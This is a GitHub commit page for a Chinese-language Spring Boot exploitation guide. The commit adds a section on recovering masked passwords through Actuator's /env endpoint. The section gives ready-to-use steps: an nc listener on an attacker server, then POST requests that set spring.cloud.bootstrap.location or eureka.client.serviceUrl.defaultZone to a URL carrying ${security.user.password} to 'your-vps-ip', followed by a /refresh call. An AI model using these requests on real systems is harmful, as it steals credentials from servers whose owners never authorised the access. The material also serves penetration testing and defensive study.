Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 8c7a68f

Browse files
committed
Update README.md
1 parent b12ace1 commit 8c7a68f

File tree

1 file changed

+124
-14
lines changed

1 file changed

+124
-14
lines changed

‎README.md‎

Lines changed: 124 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -39,27 +39,34 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
3939
* [步骤五: 解码属性值](#%E6%AD%A5%E9%AA%A4%E4%BA%94-%E8%A7%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%80%BC)
4040
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1)
4141
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90)
42-
* [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C)
43-
* [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
42+
* [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)
4443
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-2)
4544
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-2)
45+
* [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-2)
46+
* [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82-1)
47+
* [步骤三: 触发对外 http 请求](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%A7%A6%E5%8F%91%E5%AF%B9%E5%A4%96-http-%E8%AF%B7%E6%B1%82)
48+
* [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1)
49+
* [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C)
50+
* [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
51+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3)
52+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3)
4653
* [步骤一:找到一个正常传参处](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84)
4754
* [步骤二:执行 SpEL 表达式](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F)
4855
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2)
4956
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1)
5057
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83)
5158
* [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce)
52-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3)
53-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3)
59+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4)
60+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4)
5461
* [步骤一: 托管 yml 和 jar 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6)
5562
* [步骤二: 设置 spring\.cloud\.bootstrap\.location 属性](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7)
5663
* [步骤三: 刷新配置](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE)
5764
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-3)
5865
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2)
5966
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1)
6067
* [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce)
61-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4)
62-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4)
68+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5)
69+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5)
6370
* [步骤一:架设响应恶意 XStream payload 的网站](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99)
6471
* [步骤二:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
6572
* [步骤三:设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7)
@@ -68,8 +75,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
6875
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-3)
6976
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2)
7077
* [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce)
71-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5)
72-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5)
78+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6)
79+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6)
7380
* [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans)
7481
* [步骤二:托管 xml 文件](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%98%E7%AE%A1-xml-%E6%96%87%E4%BB%B6)
7582
* [步骤三:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
@@ -80,8 +87,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
8087
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4)
8188
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-3)
8289
* [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce)
83-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6)
84-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6)
90+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7)
91+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
8592
* [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1)
8693
* [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
8794
* [步骤三:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1)
@@ -90,15 +97,15 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
9097
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-6)
9198
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5)
9299
* [0x06:h2 database query RCE](#0x06h2-database-query-rce)
93-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7)
94-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
100+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8)
101+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8)
95102
* [步骤一:设置 spring\.datasource\.hikari\.connection\-test\-query 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BE%E7%BD%AE-springdatasourcehikariconnection-test-query-%E5%B1%9E%E6%80%A7)
96103
* [步骤二:重启应用](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E9%87%8D%E5%90%AF%E5%BA%94%E7%94%A8)
97104
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-7)
98105
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6)
99106
* [0x07:mysql jdbc deserialization RCE](#0x07mysql-jdbc-deserialization-rce)
100-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8)
101-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8)
107+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-9)
108+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9)
102109
* [步骤一:查看环境依赖](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E7%8E%AF%E5%A2%83%E4%BE%9D%E8%B5%96)
103110
* [步骤二:架设恶意 rogue mysql server](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rogue-mysql-server)
104111
* [步骤三:设置 spring\.datasource\.url 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-springdatasourceurl-%E5%B1%9E%E6%80%A7)
@@ -446,6 +453,109 @@ Authorization: Basic dmFsdWU6MTIzNDU2
446453

447454

448455

456+
457+
458+
### 0x05:获取被星号脱敏的密码的明文 (方法三)
459+
460+
> 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
461+
462+
#### 利用条件:
463+
464+
- 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求
465+
- 目标可以请求攻击者的服务器(请求可出外网)
466+
467+
468+
469+
#### 利用方法:
470+
471+
> 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
472+
473+
##### 步骤一: 找到想要获取的属性名
474+
475+
GET 请求目标网站的 `/env``/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
476+
477+
478+
479+
##### 步骤二: 使用 nc 监听 HTTP 请求
480+
481+
在自己控制的外网服务器上监听 80 端口:
482+
483+
```bash
484+
nc -lvk 80
485+
```
486+
487+
488+
489+
##### 步骤三: 触发对外 http 请求
490+
491+
- `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况):
492+
493+
494+
495+
spring 1.x
496+
497+
```
498+
POST /env
499+
Content-Type: application/x-www-form-urlencoded
500+
501+
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
502+
```
503+
504+
spring 2.x
505+
506+
```
507+
POST /actuator/env
508+
Content-Type: application/json
509+
510+
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
511+
```
512+
513+
514+
515+
- `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况):
516+
517+
518+
519+
spring 1.x
520+
521+
```
522+
POST /env
523+
Content-Type: application/x-www-form-urlencoded
524+
525+
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
526+
```
527+
528+
spring 2.x
529+
530+
```
531+
POST /actuator/env
532+
Content-Type: application/json
533+
534+
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
535+
```
536+
537+
538+
539+
##### 步骤四: 刷新配置
540+
541+
spring 1.x
542+
543+
```
544+
POST /refresh
545+
Content-Type: application/x-www-form-urlencoded
546+
547+
```
548+
549+
spring 2.x
550+
551+
```
552+
POST /actuator/refresh
553+
Content-Type: application/json
554+
555+
```
556+
557+
558+
449559
## 二:远程代码执行
450560

451561
> 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /